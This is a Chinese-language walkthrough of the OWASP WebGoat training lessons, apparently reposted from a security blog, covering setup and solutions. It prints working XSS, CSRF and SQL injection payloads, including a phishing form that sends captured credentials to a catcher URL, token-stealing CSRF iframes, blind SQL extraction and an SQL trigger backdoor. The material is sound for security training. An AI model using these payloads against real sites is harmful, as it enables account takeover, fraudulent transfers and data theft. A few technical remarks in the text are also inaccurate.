<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/web/13594

            0x00 安裝


            WebGoat的版本區別

            WebGoat是一個滲透破解的習題教程,分為簡單版和開發版,GitHub地址.

            簡單版安裝

            簡單版是個JAVA的Jar包,只需要有Java環境,然后在命令行里執行

            #!bash
            java -jar webgoat-container-7.0.1-war-exec.jar
            

            然后就可以訪問"127.0.0.1:8080/WebGoat"就可以了,注意"WebGoat"大小寫敏感,不能寫錯.

            開發版安裝

            WebGoat有些題目是開發版中才能做的,所以說需要安裝開發版(但是比較坑的是安了開發版也有做不了的)先來看看條件

            Java環境肯定要裝,然后因為我用的是Mac所以IDE用的是Xcode,Xcode自帶了Git.所以剩下的就剩下Maven.

            Maven

            用過Xcode的應該知道CocoaPods,Maven就是類似CocoaPods的一個包管理軟件,下載地址中下載壓縮包,不要下載源碼

            #!bash
            apache-maven-3.3.9-bin.zip
            

            然后進行解壓縮,之后進行Maven配置,其中x.x.x為版本號,Name為你Mac的賬戶名

            1. 將解壓后文件夾apache-maven-x.x.x移到/Users/Name/Library目錄下
            2. 然后修改~/.bash_profile的內容,如果不存在就新建一個

            全部命令行為

            #!bash
            cd ~/Downloads/
            mv  apache-maven-3.3.9 ~/Library/apache-maven-3.3.9
            vi ~/.bash_profile
            

            其中bash_profile的內容為

            #!bash
            export MAVEN_HOME=/Users/Name/Library/apache-maven-3.3.9
            export PATH=$PATH:$MAVEN_HOME/bin
            

            然后進行測試

            #!bash
            mvn -version
            

            看到以下內容就是成功了

            #!bash
            Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5; 2015-11-11T00:41:47+08:00)
            Maven home: /Users/Name/Library/apache-maven-3.3.9
            Java version: 1.7.0_80, vendor: Oracle Corporation
            Java home: /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre
            Default locale: zh_CN, platform encoding: UTF-8
            OS name: "mac os x", version: "10.11.3", arch: "x86_64", family: "mac"
            

            WebGoat-Development

            在環境安裝完畢之后新建一個文件夾WebGoat-Workspace執行sh腳本自動下載和編譯

            #!bash
            mkdir WebGoat-Workspace
            cd WebGoat-Workspace
            curl -o webgoat_developer_bootstrap.sh https://raw.githubusercontent.com/WebGoat/WebGoat/master/webgoat_developer_bootstrap.sh
            sh webgoat_developer_bootstrap.sh
            

            編譯提示Exit

            有時候可能會碰見類似這樣的Debug提示

            #!bash
            2016-03-08 14:33:20,496 DEBUG - Exit: AxisEngine::init
            2016-03-08 14:33:20,496 DEBUG - Exit: DefaultAxisServerFactory::getServer
            2016-03-08 14:33:20,496 DEBUG - Exit: getEngine()
            

            產生的原因是WebGoat-Lessons的課程配置不對,打開/WebGoat-Lessons/pom.xml大概在100多行找到以下這個,把7.1-SNAPSHOT改成正確的版本號,再次運行sh腳本就可以了

            #!bash
            <dependency>
                <groupId>org.owasp.webgoat</groupId>
                <artifactId>webgoat-container</artifactId>
                <version>7.1-SNAPSHOT</version>
                <type>jar</type>
                <scope>provided</scope>
            </dependency>
            

            Chrome和BurpSuite

            使用Chrome主要是其插件比較多,平時上網我都是用Safari的,下載一個插件"Proxy SwitchyOmega",可以設置僅有Chrome走代理,然后將代理指向BurpSuite的端口和地址,BrupSuite使用看這里.

            0x01 開始


            WebGoat的大坑

            由于WebGoat不同的版本課程都不一樣,所以說網上的資料也不全,我用的是7.1.0版本,先來上個圖

            Figure01

            而且!!!最坑的是!!!有些題根本他娘的沒答案,或者答案是錯的,開發版的題也不知道怎么做!

            Introduction

            這一章節教了你怎么用這個東西,以及怎么為這個組織貢獻課程,主要就是3個選項,沒什么實質教學內容

            General-Http Basics

            這一章節讓你明白什么是Http,可以用BurpSuite攔截一下報文和我Blog中講的基礎進行驗證下,Solution使用的攔截工具是WebScarab,單獨安裝比較難,可以在Kali中使用,但是我用的是BurpSuite,效果一樣.

            Access Control Flaws-Using an Access Control Matrix

            這個就是讓你初步理解權限的概念,點一點,找到誰的權限最大就可以了

            Access Control Flaws-Bypass a Path Based Access Control Scheme

            這一節是讓你利用攔截工具,改變參數,訪問到原本不能訪問的路徑,在BurpSuite的Intercept里抓到這個請求

            Figure02

            然后根據Hints提醒使用shell腳本里切換到上一級目錄的指令".."修改File的值"CSRF.html"構造出另外一個指令

            #!bash
             ../../../../../WEB-INF/spring-security.xml
            

            就可以訪問到目標目錄意外的文件,但是坑爹的是不論試驗了多少次都提示我

            #!bash
            * Access to file/directory " ../../../../../WEB-INF/spring-security.xml" denied
            

            然后看Solution里說是訪問main.jsp于是改為

            #!bash
             ../../../../../main.jsp
            

            課程通過...Hints和Solution根本不一樣...這就是WebGoat的坑爹之處

            Access Control Flaws-LAB: Role Based Access Control

            Stage 1: Bypass Business Layer Access Control

            權限管理問題,由于代碼沒有對Control里的Delete指令做權限管理,又通過action字段判斷Control指令,所以原本不應該有Delete權限的Tom執行了Delete操作.

            1. 使用密碼jerry進入Jerry Mouse的帳號,有ViewProfile和DeleteProfile的操作
            2. 使用密碼tom進入Tom Cat的帳號,只有ViewProfile
            3. 執行ViewProfile攔截請求,改action為DeleteProfile

            Stage2

            說是需要在開發版下修復這個問題,沒找到怎么修復.

            Stage 3: Bypass Data Layer Access Control

            水平越權問題,View這個操作不能像Delete一樣對Tom進行權限上的控制,那么與Tom出于同一層級的其它用戶也具有這個權限,所以說Tom可以通過攔截修改employee_id水平的訪問其它人的資料,也是屬于非正常邏輯.

            Stage4

            需要對每一個操作再次進行權限核實,才能解決這個問題,也是要求在開發版下完成這節課,但是我也不知道怎么完成.

            AJAX Security-LAB: Client Side Filtering

            客戶端過濾,有些時候服務器返回的了很多條信息,只挑選了其中少數進行顯示,可以在返回的html源碼中看到全部的信息.

            1. 選中名字附近元素點擊"檢查"
            2. 在源碼中搜索關鍵詞"hidden" "Joanne"等
            3. 發現有3個"Joanne",其中一個隱藏了Neville的信息

            AJAX Security-DOM Injection

            DOM:文檔對象模型(Document Object Model),是W3C組織推薦的處理可擴展標志語言的標準編程接口.就是HTML報文中的節點,這里說是通過DOM注入的方式讓原本網頁中不可點擊的按鈕變為可點擊.

            1. 輸入License Key會自動發起一個Ajax的請求
            2. 通過攔截AJAX請求的返回報文,把報文頭和內容全部清空
            3. 更改返回為一段JS代碼

            如下

            #!bash
             document.form.SUBMIT.disabled = false
            

            此時按鈕就可以使用了,除了這個方法之外,還可以直接檢查按鈕

            #!bash
            <input disabled="" id="SUBMIT" value="Activate!" name="SUBMIT" type="SUBMIT">
            

            改disabled為false或者直接刪除這個標記.

            AJAX Security-LAB: DOM-Based cross-site scripting

            這就是一個簡單的反射型XSS的演示,依次輸入以下內容在文本框里

            #!bash
            World//正常
            <IMG SRC="images/logos/owasp.jpg"/>//XSS插入圖片
            <img src=x onerror=;;alert('XSS') />//XSS插入Alert
            <IFRAME SRC="javascript:alert('XSS');"></IFRAME>//XSS插入iFrame
            

            甚至可以直接偽造界面

            #!bash
            Please enter your password:
            <BR><input type = "password" name="pass"/>
            <button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button>
            <BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
            

            AJAX Security-XML Injection

            XML注入攻擊,和HTML注入攻擊一樣,都是利用文本解析機制,寫入惡意輸入

            1. 輸入ID:836239,攔截請求
            2. 修改返回報文的XML文件,給自己跟多的選擇

            返回報文

            #!bash
            HTTP/1.1 200 OK
            Server: Apache-Coyote/1.1
            Cache-Control: no-cache
            Content-Type: text/xml
            Date: Tue, 08 Mar 2016 08:46:40 GMT
            Content-Length: 136
            
            <root>
            <reward>WebGoat Mug 20 Pts</reward>
            <reward>WebGoat t-shirt 50 Pts</reward>
            <reward>WebGoat Secure Kettle 30 Pts</reward>
            </root>
            

            可以修改內容為

            #!bash
            <root>
            <reward>WebGoat Mug 20 Pts</reward>
            <reward>WebGoat t-shirt 50 Pts</reward>
            <reward>WebGoat Secure Kettle 30 Pts</reward>
            <reward>WebGoat Secure Kettle 30 Pts</reward>
            <reward>WebGoat Core Duo Laptop 2000 Pts</reward>
            <reward>WebGoat Hawaii Cruise 3000 Pts</reward>
            </root>
            

            AJAX Security-JSON Injection

            JSON注入攻擊,原理和XML注入攻擊一樣

            1. From輸入BOS,to輸入SEA
            2. 攔截請求返回報文

            如下

            #!bash
            HTTP/1.1 200 OK
            Server: Apache-Coyote/1.1
            Cache-Control: no-cache
            Content-Type: text/html
            Date: Tue, 08 Mar 2016 08:50:24 GMT
            Content-Length: 169
            
            {
            "From": "Boston",
            "To": "Seattle", 
            "flights": [
            {"stops": "0", "transit" : "N/A", "price": "$600"},
            {"stops": "2", "transit" : "Newark,Chicago", "price": "$300"} 
            ]
            }
            

            修改600美元為30美元就可以便宜了

            AJAX Security-Insecure Client Storage

            這是最坑的一道題!!!

            先來說下題目的原意,題目中讓你找出優惠券號碼,然后享受優惠,利用情形是

            1. 有的優惠券號碼是由服務器發送到前端的
            2. 為了防止從源碼竊取,發送到瀏覽器的是加密后的優惠碼,用一定算法進行解密
            3. 然后對比解密后的優惠券和用戶的輸入
            4. 相同就享受優惠

            這里有個邏輯漏洞,就是拿解密后的優惠碼明文和用戶輸入進行對比,而不是加密用戶的輸入與密文對比,所以前端還是可以通過JS打斷點獲取到優惠碼明文.

            大坑來了

            如果相對JS打斷點,首先要能在控制臺找到JS腳本文件,由于整個頁面是使用了JQuery內嵌了課程內容(網頁內部嵌另外一個網頁),紅色框內的內容是動態加載的,所以直接在Sources頁面根本找不到內嵌網頁的"clientSideValidation.js"

            這個坑了我好久啊,對前端不熟悉怎么都找不到.js文件

            Figure03

            Solution里給的答案第一步就是讓你定位"clientSideValidation.js",定位不到怎么辦!!!!

            檢查Network

            既然內部的網頁是動態加載的,那么肯定有網絡通訊,可以通過檢查Network看記錄,和"clientSideValidation.js"附近的文件有個條網絡請求"attack?Screen=272&menu=400"的,點擊可以看到紅色框體內的頁面,然后可以獲取到實際地址

            #!bash
            http://zhuojiademacbook-pro.local:8080/WebGoat/attack?Screen=272&menu=400
            

            利用Request攔截

            除去查看Network之外,還可以利用BurpSuite攔截Ajax請求,因為整個頁面是通過Ajax刷新的,Ajax本身又是一種請求,那么只要我點擊purchase,就可以攔截到一條Request請求,且能看到頁面內的相關參數

            1. 對這個請求點擊Action-Send to repeater
            2. 右鍵-Show response in browser
            3. 從瀏覽器里打開鏈接(注意此時關閉攔截)
            4. 就跳轉到了實際內部頁面的地址

            得到了實際地址后,就可以在子頁面內調試JS

            Stage2

            第二步說的是有些在前端可以通過刪除掉input框的readonly標記任意修改金額,比較簡單

            AJAX Security-Dangerous Use of Eval

            Eval是php語言中執行一段JS代碼的意思,這一道題也是一種典型的反射型XSS展示,與剛剛基于DOM的不同,DOM是直接插入新節點,而這個是使用一定技巧,先關閉原本的DOM,然后寫自己的DOM,再組裝好剛剛被關閉DOM的后半部分.

            通過php的Eval,alert被執行

            #!bash
            123');alert(document.cookie);('
            

            123后的

            ');
            

            使得原本的DOM不受影響,最后的

            ('
            

            閉合掉了原本多出的')符號

            插入代碼的樣子是

            ('123');alert(document.cookie);('')
            

            0X02 后續


            Authentication Flaws-Password Strength

            介紹了不同復雜度的密碼需要破解的時間,給的網站

            https://howsecureismypassword.net
            

            尼瑪根本打不開,已經不存在了貌似,翻墻也沒有

            Authentication Flaws-Forgot Password

            題目的所有目的都是告訴你有些忘記密碼的問題太簡單,可以直接猜出來....尼瑪...猜出來..猜出來..

            1. 輸入admin
            2. 密碼問你最喜歡的顏色
            3. 顏色不就沒幾種么
            4. 猜紅黃綠三原色,然后green就猜中了

            Authentication Flaws-Multi Level Login 1

            這個題目壞掉了,題目的本意是第二步提交TAN#值的時候,有個叫hidden_tan的隱藏參數,來告知客戶端哪個TAN值被用掉了,只需要修改這個值,就可以再次利用被使用過的TAN

            可是我使用Jane和tarzan登錄之后,第二次再登錄不能用了...不知道是不是我理解錯了.還是!!真的壞掉了!!

            Authentication Flaws-Multi Level Login 2

            兩步驗證的錯誤,意思是讓你使用Joe和banana這個賬戶來登錄Jane,因為第二步有個input的值叫hidden_user,在使用了Joe登錄后,用戶信息會被存在這個字段在第二步發送,所以只需要修改這個字段為Jane,就可以登錄Jane

            Buffer Overflows-Off-by-One Overflows

            這一章節是為了介紹內存溢出帶來的危害...但是題目感覺是為了出題而出題,并沒有真實還原一個內存溢出造成的BUG

            1. 第一步讓你提交入住等級,姓名.房間號
            2. 第二步讓你選擇入住時間
            3. 選擇成功會返回你的姓名和房間號

            這里對第三個參數填充超級大的數據,比如大于4096位的字符串,就可能造成內存溢出漏洞,從而返回VIP客戶的房間號和姓名

            大坑來了

            這個題目的想法是好的,目的在于輸入框輸入位數有限制,那么可以通過攔截報文,然后使用Intruder進行爆破,填充超級大的數據來造成內存溢出,但是,這里并沒有真正還原了一個內存溢出錯誤,而是通過以下代碼

            #!php
            // And finally the check...
                   if(param3.length() > 4096)
                   {
                       ec.addElement(new Input(Input.hidden, "d", "Johnathan"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "e", "Ravern"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "f", "4321"));
                       ec.addElement("\r\n");
            
                       ec.addElement(new Input(Input.hidden, "g", "John"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "h", "Smith"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "i", "56"));
                       ec.addElement("\r\n");
            
                       ec.addElement(new Input(Input.hidden, "j", "Ana"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "k", "Arneta"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "l", "78"));
                       ec.addElement("\r\n");
            
                       ec.addElement(new Input(Input.hidden, "m", "Lewis"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "n", "Hamilton"));
                       ec.addElement("\r\n");
                       ec.addElement(new Input(Input.hidden, "o", "9901"));
                       ec.addElement("\r\n");
            
                       s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name");
            
                   }
            

            僅僅是檢查了第三個參數的長度,來增加返回報文,偽造了一個看似內存溢出的漏洞,十分坑爹....所以我還是不知道到底內存溢出漏洞咋產生的...

            如何使用intruder爆破

            我們要爆破的是第二個界面點擊"Accept Terms"的鏈接,攔截下之后點擊"Action-Send to intruder"

            1. 選擇Sniper模式
            2. 點擊Clear清除所有爆破點,然后選中114這個房間號碼,點擊Add設置為爆破點
            3. 進入Payloads標簽頁
            4. 選擇用Character Blocks(字符串塊)填充
            5. 基礎字符串是A,選擇最短位數4096最長位數10240,步長50

            Figure01

            Figure02

            這個Character Blocks是什么意思呢?就是代表用4096位的A開始然后50位50位的依次加長長度,直到達到10240位,然后點擊Start Attack,查看大于4096位之后的結果,就可以看到模擬出的內存泄漏信息

            Figure03

            Code Quality-Discover Clues in the HTML

            這一篇主要在講,沒事不要他娘的亂寫備注...比如這個作者把管理員用戶名密碼寫備注里了

            #!bash
            <!-- FIXME admin:adminpw  -->
            <!-- Use Admin to regenerate database  -->
            

            Concurrency-Thread Safety Problems

            線程安全問題,有些程序員寫代碼的時候喜歡各種用Static/Const之類的,覺得自己對內存了如指掌,吊的不知道哪里去了.但是往往忽略了多線程的問題,比如這個問題的源碼

            #!php
            private static String currentUser;
            private String originalUser;
            

            這里currentUser使用了static靜態變量,又沒有做線程保護,就會造成瀏覽器Tab1訪問這個頁面時,Tab2同時訪問,數據就會被替換掉

            Concurrency-Shopping Cart Concurrency Flaw

            如上題一樣,也是由于使用了靜態變量卻沒有做線程保護,導致的購物車多線程支付問題.

            0x03 XSS


            Cross-Site Scripting (XSS)-Phishing with XSS

            簡單的反射型XSS釣魚演示

            #!html
            </form>
              <script>
                function hack(){ 
                XSSImage=new Image;
                XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
                alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
            } 
              </script>
            <form name="phish">
            <br>
            <br>
            <HR>
              <H2>This feature requires account login:</H2>
            <br>
              <br>Enter Username:<br>
              <input type="text" name="user">
              <br>Enter Password:<br>
              <input type="password" name = "pass">
            <br>
              <input type="submit" name="login" value="login" onclick="hack()">
            </form>
            <br>
            <br>
            <HR>
            

            將上邊的代碼輸入到文本框,XSS會造成一個釣魚的登錄界面,用來騙取登錄賬戶和密碼

            Cross-Site Scripting (XSS)-LAB: Cross Site Scripting

            這是一篇系統的XSS介紹

            Stage1-4

            這四個步驟介紹了儲存型XSS,主要步驟如下

            1. Tom的檔案是可以編輯的,Jerry作為人力可以查看Tom的檔案
            2. Tom對自己的檔案進行編輯,放入XSS代碼,被儲存到數據庫
            3. Jerry查看Tom檔案時,咣當..中招了

            然后Stage2和4給出了兩種方法修復XSS

            第一是對輸入進行檢查,進行編碼,第二個是對輸出進行編碼,分為JS Encode和HTML Encode,整個1-4由于沒有Soluition,而且貌似XSS已經是被修復后的狀態,所以沒法完成...感覺這節課也是壞掉的...

            Stage5-6

            這里是反射型XSS的教程,說是在SearchStaff有個反射型的XSS,可以通過輸入那里注入代碼,但是沒能復現,可能也是壞掉了...Stage6必須在開發模式下,也不知道怎么做.

            Cross-Site Scripting (XSS)-Stored XSS Attacks

            講述了一種最典型的儲存型XSS的例子---||||-留言板.

            1. 留言板可以輸入任何信息
            2. 沒有進行輸入輸出編碼,產生了XSS
            3. 用戶A進行惡意留言
            4. 用戶B點進來自動顯示用戶A的留言,中XSS

            Cross-Site Scripting (XSS)-Reflected XSS Attacks

            典型的反射型XSS掩飾,Enter your three digit access code:輸入框有反射型XSS漏洞

            Cross-Site Scripting (XSS)-Cross Site Request Forgery (CSRF)

            這里是一個儲存型XSS和CSRF結合的示例,CSRF就是冒名登錄,用代碼偽造請求,詳細看這里,這里是吧CSRF惡意代碼利用儲存型XSS放到了網頁上,通過留言Message里輸入

            #!html
            <iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000"></iframe>
            

            就可以看到儲存型XSS會出發出一個轉賬頁面,如果想這個頁面被被害者發現

            #!html
            <iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000" width="1" height="1"></iframe>
            

            通過寬高設置成1像素,隱藏掉這個頁面

            Cross-Site Scripting (XSS)-CSRF Prompt By-Pass

            這個就是利用CSRF進行冒名操作轉賬,留下惡意代碼如下

            #!html
            <iframe
                src="attack?Screen=282&menu=900&transferFunds=5000"
                id="myFrame" frameborder="1" marginwidth="0"
                marginheight="0" width="800" scrolling=yes height="300"
                onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
            </iframe>
            
            <iframe
                id="frame2" frameborder="1" marginwidth="0"
                marginheight="0" width="800" scrolling=yes height="300">
            </iframe>
            
            1. 第一個iframe是進行轉賬5000
            2. 當第二個加載完畢,去獲取第二個iframe執行轉賬確認按鍵
            3. 然后再下邊事先構造好"id=frame2"的第二個iframe

            根據剛剛的文章講,預防CSRF的一個有效手段就是Token,但是Token在管理不嚴的情況下也是可以被竊取的

            Cross-Site Scripting (XSS)-

            演示竊取Token后的CSRF

            #!js
            <script>
            var tokensuffix;
            
            function readFrame1()
            {
                var frameDoc = document.getElementById("frame1").contentDocument;
                var form = frameDoc.getElementsByTagName("form")[0];
                tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
            
                loadFrame2();
            }
            
            function loadFrame2()
            {
                var testFrame = document.getElementById("frame2");
                testFrame.src="attack?Screen=278&menu=900&transferFunds=5000" + tokensuffix;
            }
            </script>
            
            <iframe src="attack?Screen=278&menu=900&transferFunds=main"
                onload="readFrame1();"
                id="frame1" frameborder="1" marginwidth="0"
                marginheight="0" width="800" scrolling=yes height="300"></iframe>
            
            <iframe id="frame2" frameborder="1" marginwidth="0"
                marginheight="0" width="800" scrolling=yes height="300"></iframe>
            
            1. 先加載main頁面竊取Token
            2. 然后加載轉賬頁面發送CSRF轉賬請求

            Cross-Site Scripting (XSS)-HTTPOnly Test

            這里就是測試HTTPOnly在對第三方Cookie的管理的影響,被標記了HTTPOnly的Cookie不能被JS獲取到.所以一般Session和Token最好放在帶有標記的Cookie里

            但是這里有個疑問,如果用戶選擇不同的DOM就可以打開關閉HTTPOnly的標記,是不是可以誘導用戶先關掉呢...還是說這里也是為了出題而出題,只是偽造了HTTPOnly的效果

            Improper Error Handling-Fail Open Authentication Scheme

            這一個章節主要是講要對錯誤有處理,不然錯誤處理的不全面也可能造成漏洞,比如這里

            1. 輸入webgoat帳號
            2. 然后輸入任意密碼
            3. 攔截Request報文
            4. 刪掉密碼這一個參數

            這樣也能登錄成功,所以說明代碼對獲取不到密碼這個參數時的錯誤處理不充分

            0x04 Injection


            Injection Flaws-

            整個一章都在講注入,由于注入的手段基本類似,主要是兩點

            1. 提前閉合正常代碼,輸入惡意代碼
            2. 處理由于閉合正常代碼留下的尾巴

            Injection Flaws-Command Injection

            這個的意思是進行命令行注入,因為有些操作后臺都是通過命令行完成的,所以可以嘗試輸入Shell指令來進行注入,但是它喵的我按照它說的來怎么都完成不了......

            Injection Flaws-Numeric SQL Injection

            數字SQL注入,這里說的一個SQL語句

            #!sql
            SELECT * FROM weather_data WHERE station = [station]
            

            可以攔截報文將station字段后補充

            #!bash
            101 OR 1=1
            

            整個語句就變成了

            #!sql
            SELECT * FROM weather_data WHERE station = 101 OR 1=1
            

            由于1=1恒成立,所以會遍歷出所有的數據庫表單

            Injection Flaws-Log Spoofing

            日志偽造,這里是攻擊者發現了日志生成的規則,通過注入惡意字符串,按照規則偽造出一條日志,在Username輸入

            #!bash
            Smith%0d%0aLogin Succeeded for username: admin
            

            其中%0d和%0a為CRLF換行符,看到的輸出為

            #!bash
            Login failed for username: Smith
            Login Succeeded for username: admin
            

            其實第二行完全是偽造出來的

            Injection Flaws-String SQL Injection

            字符串注入,由于字符串是由''包裹起來的,所以要注意格式,和數字注入原理一樣

            #!sql
            Erwin' OR '1'='1
            

            SQL拼接出來的結果是

            #!sql
            SELECT * FROM user_data WHERE last_name = 'Erwin' OR '1'='1'
            

            Injection Flaws-LAB: SQL Injection

            Stage1-4

            其實還是展現了數字和字符串不同的注入方法,對password進行攔截,然后使用字符串注入,可以登錄任意賬戶.

            剩下的我并沒有做出來,也沒有Solution,感覺題目壞掉了..

            Injection Flaws-Database Backdoors

            利用SQL輸入插入后門,首先是一個SQL注入點,可以通過數字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水

            #!sql
            101; update employee set salary=10000
            

            更加高級的是插入后門,下邊這個后門好象是創建新用戶的時候會自動修改郵箱為你的郵箱

            #!sql
            CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET [email protected]'WHERE userid = NEW.userid
            

            Injection Flaws-Blind Numeric SQL Injection

            數字盲注,有些時候存在SQL注入,但是獲取不到我們需要的信息,此時可以通過SQL語句的條件判斷,進行盲注.

            比如我們知道一個cc_number=1111222233334444,但是想知道其pin在pins table里的值,可以使用盲注進行爆破,輸入

            #!sql
            101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
            

            對10000進行1-10000步長為1的爆破,可以發現返回報文的長度在2364和2365改變了...嘗試用=2364進行請求,返回成功.那么其pin就為2364

            Injection Flaws-Blind String SQL Injection

            字符串盲注,猜測cc_number='4321432143214321'的用戶名,使用了SQL里的SUBSTRING這個函數,每一個字母進行爆破,原理和數字盲注一樣,但是這里爆破有一點小技巧

            #!sql
            101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
            

            爆破技巧

            這里有兩個爆破點,一個是SubString的第二個參數,一個是字母h,所以使用Cluster Bomb進行爆破

            1. 爆破點1 是1-10 10個可能性
            2. 爆破點2 是a-z和A-Z 52個可能性

            那么一共就是520次可能性,Intruder的設置如下

            Figure01 Figure02 Figure03

            可以看到報文有兩種結果1333 1334,其中第一個爆破點為10的都是1334,而有一些不是,查看返回報文發現有兩種

            #!bash
            Invalid account number
            Account number is valid
            

            Figure04 Figure04

            爆破點1=10返回報文為1334是因為10比1-9多一位,那么對正確的報文進行搜索Fliter,得到結果

            Figure04

            用戶名爆破成功

            0x05 進階

            Denial of Service-ZipBomb

            意思是突破2MB文件限制上傳20MB的以上的東西,感覺應該是攔截某些Request,然后修改一些參數.

            但是我攔截的Request的file字段都是[object file]不管傳什么都沒響應..感覺是壞掉了這道題

            Denial of Service-Denial of Service from Multiple Logins

            解釋了一下DDOS攻擊的原理...就是訪問的人太多了,多登錄幾次就好了

            Insecure Communication-Insecure Login

            介紹了HTTP報文和HTTPS報文的區別,題目原意是讓你

            1. 攔截HTTP報文看到密碼
            2. 然后進入回答密碼是多少
            3. 切換到HTTPS看看還能不能看到報文

            但是切換到HTTPS之后,打不開網頁,可能是WebGoat沒有提供HTTPS的服務吧....題目壞掉了又

            Insecure Storage-Encoding Basics

            講了常見的編碼基礎,以及是否可以被解密,需要注意的是BASE64不是加密,而是一種編碼,雖然英文都是Encode

            Malicious Execution-Malicious File Execution

            題目的目的是

            1. 前端會對上傳的文件做本地檢查
            2. 先上傳滿足檢查的文件
            3. 攔截報文,修改成另外一個可執行文件如JSP
            4. 如果服務端沒有檢查,就能被執行

            但是貌似題目壞掉了..別說惡意文件...正常圖片都上傳不了

            Parameter Tampering-Bypass HTML Field Restrictions

            修改頁面的HTML文本解除一些前端的限制,如按鈕是否可用

            Parameter Tampering-Exploit Hidden Fields

            查看HTML文本找到一些被打了Hidden標記的元素

            Parameter Tampering-Exploit Unchecked Email

            找到被Hidden的Email或者通過攔截修改發送Email的地址

            Parameter Tampering-Bypass Client Side JavaScript Validation

            修改存在頁面上的JS文件使得前端的正則校驗失效,從而給服務端發超出限制的字符

            Session Management Flaws-Hijack a Session(有疑問)

            Session劫持,題目的本意是讓你在兩次登錄生成不同的Session之間,估算哪個Session已經被人使用了,然后進行爆破....但是我沒有做出來,BurpSuite沒有找到對應的Session Analyze的地方.

            Session Management Flaws-Session Fixation

            Session串改,題目的意思如下

            1. 你偽造一個帶有Session的鏈接發送給別人,在郵件內容后加&SID=WHAT
            2. 別人用你的鏈接進行了登錄,使用賬戶密碼Jane/tarzan
            3. 點擊下一步發現&SID=NOVALIDSESSION
            4. 此時你只需要用剛剛發送的Session值,就可以直接進入別人賬戶

            原Session鏈接

            WebGoat/start.mvc#attack/311/1800&SID=NOVALIDSESSION
            

            修改為Seesion鏈接

            WebGoat/start.mvc#attack/311/1800&SID=WHAT
            

            進入Jane賬戶成功

            Web Services-Create a SOAP Request&WSDL Scanning

            簡單介紹了什么是SOAP和WSDL,但是它提供的?WSDL我沒有看到WSDL而是看到了一堆Error

            具體學習Web Services的文章可以看這里

            Web Services-Web Service SQL Injection&Web Service SAX Injection

            利用Web Services進入SQL注入和SOAP報文注入,原理和其它注入攻擊一樣,由于WebGoat的Web Service服務有問題...也沒有完成

            Admin Functions-Report Card

            學習記錄卡...沒什么用

            0x06 Challenge


            Challenge

            大結局,先來吐槽一下,這個Challenge如果能不看答案做出來...我覺得就已經不是初學者了,總會出現各種開掛的步驟,或者說為了出題而出題,思路對了但是不選特定的選項就不會出結果....

            先來列舉下這里用到了哪些知識

            1. HTML源碼審計
            2. BASE64編碼
            3. SQL注入
            4. 命令行注入

            其中每一個知識點用于

            1. 用于發現管理員帳號和密碼
            2. 用來解析Cookie
            3. 用來對Cookie進行注入獲取信用卡
            4. 用于查詢js文件路徑,和篡改網頁

            Stage1

            越權登錄一般有兩種方法

            1. 獲取到管理員帳號
            2. 進行注入無效化密碼

            先對密碼進行注入試一試

            #!sql
            password' OR '1'='1
            

            發現不行,然后分析HTTP報文

            Figure01

            發現輸入可能可以注入的點有Username/Password/Submit/user/user(Cookie)這幾個,用戶名一般不能進行注入,密碼又試驗過了,還剩下user和user(Cookie)

            發現Cookie中的User是個編碼,先去看看是什么,通過嘗試,發現Base64編解碼發現Cookie中會存user參數

            Figure02

            對兩個都進行注入試試,先是user,然后把注入代碼編碼成Base64再放入user(Cookie)

            #!sql
            youaretheweakestlink' OR '1'='1
            eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==
            

            發現都不行,還是登錄不進去,真是坑了大爹了...現在只好思考這個"youaretheweakestlink"是什么,所以去讀HTML源碼,發現了這一個

            #!html
            <input name="user" type="HIDDEN" value="youaretheweakestlink">
            

            可以看到它的字段是name,難道是管理員帳號?所以使用這個登錄一下,然后同時進行注入攻擊,發現還是他娘的進不去....

            到這里我就跪了,萬念俱灰...只要去打開youtube(你土鱉)看看答案

            當我知道答案的時候...恨不得把作者打一頓....分明是在開掛!

            首先總結一下,youaretheweakestlink作為用戶名是猜對了,可是密碼在哪呢?只看到答案打開了一個鏈接

            local:8080/WebGoat/source?source=true
            

            把WebGoat后的都刪掉,然后加上source,還要給source賦值為true....這個source尼瑪哪里出現的啊...如果不賦值為true還不能看到源代碼,在源代碼的121行

            121      private String pass = "goodbye";
            122  
            123      private String user = "youaretheweakestlink";
            

            可以看到密碼"goodbye"...嘗試登錄發現進去了

            Stage2

            第二步是讓取出所有信用卡信息,這種根據以往的練習,肯定都是使用SQL注入讓某個SELECT語句取出所有信息,根據BurpSuite的攔截信息或者Network來看的話,進入第二個頁面之后,并沒有任何請求出現,所以說注入點肯定還在登錄的時候

            依次對Username/Password/Submit/user/user(Cookie)這幾個注入點進行檢查,發現user(Cookie)進行注入就可以獲得到所有信用卡信息,但是注意使用的是Base64編碼后的信息

            #!sql
            youaretheweakestlink' OR '1'='1
